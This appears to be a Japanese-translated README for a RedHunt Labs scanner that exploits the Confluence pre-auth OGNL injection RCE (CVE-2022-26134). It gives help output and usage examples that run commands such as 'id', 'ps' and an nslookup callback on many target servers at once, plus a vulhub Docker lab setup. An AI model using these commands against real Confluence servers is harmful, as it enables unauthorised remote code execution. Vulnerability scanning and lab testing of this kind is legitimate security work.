
Atlassian Confluence 認証不要の ONGL インジェクションによるリモートコード実行スキャナー (CVE-2022-26134).
Confluence事前認証ONGLインジェクションリモートコード実行スキャナー (CVE-2022-26134)。
以下のGIFはツールのデモ使用例を示しています:

以下がツールのヘルプ出力です:
$ ./cfscan -h
+-------------------------------+
| C O N F L U E N T P W N |
+-------------------------------+
[+] ConfluentPwn by RedHunt Labs - モダンな攻撃表面(ASM)管理企業
[+] Author: Pinaki Mondal (RHL Research Team)
[+] 攻撃表面を継続的に追跡するには、https://redhuntlabs.com/nvadr をご利用ください。
使用法:
-cmd string
脆弱なConfluenceサーバー上で実行するコマンド (デフォルト "id")
-file string
スキャンするホスト一覧を含むファイルを指定する。
-output string
スキャン結果を書き込む出力ファイルパス (デフォルト "cfpwn-results.csv")
-regex string
実行されたコマンドのレスポンスヘッダーと一致させる正規表現。
-threads int
スキャン中に使用するスレッド数 (デフォルト 20)
-timeout int
HTTPタイムアウト(秒) (デフォルト 5)
-user-agent string
使用するカスタムUser-Agent文字列 (デフォルト "Mozilla/5.0 (ConfluentPwn) Chrome/95.0.4638.69 Safari/537.36")
使用例:
./cfscan 1.2.3.4:80 1.1.1.1:8080
./cfscan -file urls.txt
./cfscan -cmd 'nslookup xxxxxxxxxxxxxxxxx.canarytokens.com 1.1.1.1:80'
./cfscan -cmd 'ps' -regex '^\s*PID\s*TTY\s*TIME\s*CMD' http://1.1.1.1:443
ターゲットは2つの方法で指定できます:
./cfscan target1 target2 ...
-file 引数を使用してスキャンするURL一覧を含むファイルを指定する。
./cfscan -file targets.txt
同時に処理されるターゲットの最大数は -threads 引数で制御できます。デフォルトの並行処理数は20です。
HTTPタイムアウト値(秒)は -timeout 引数で指定できます。デフォルトのタイムアウトは5秒です。
カスタムUser-Agentは -user-agent フラグで指定できます。ユーザーが自分のログでUA文字列を追跡したい場合などに使用します。
生成された出力はCSVファイルに書き込まれ、その保存先は -output フラグで指定できます。デフォルトの出力ファイルは cfscan-results.csv です。
出力には4つのカラムが含まれます:
脆弱なサーバーで実行するコマンドは -cmd 引数で指定できます。コマンドの出力と一致させる正規表現は -regex フラグで指定できます。
デフォルトで実行されるコマンドは id であり、コマンドの出力と一致させるために使用される正規表現は uid=\d+?\(\w+?\)\s*?gid=\d+?\(\w+?\)\s*groups=\d+?\(\w+?\) です。
フラグを組み合わせて使用する例:
./cfscan -cmd 'id' -regex 'uid=\d+?\(\w+?\)\s*?gid=\d+?\(\w+?\)\s*groups=\d+?\(\w+?\)' https://1.1.1.1
./cfscan -cmd 'ps' -regex '^\s*PID\s*TTY\s*TIME\s*CMD' http://1.1.1.1:443
ツールや脆弱性全般をテストしたい場合は、こちらを参照してください: https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134。
インストール手順は非常に簡単で、以下のコマンドで完了します:
$ mkdir confluentpwn && cd confluentpwn && wget https://raw.githubusercontent.com/vulhub/vulhub/master/confluence/CVE-2022-26134/docker-compose.yml
$ docker-compose up -d
これでアプリは http://localhost:8090 で利用可能になります。
このツールはMITライセンスの下でライセンスされています。LICENSEを参照してください。 現在のツールのバージョンはv0.1です。
RedHunt Labs の研究チームは、Dockerテストイメージを提供してくれた vulhub に感謝します。
攻撃表面管理プラットフォームの詳細については、NVADRをご覧ください。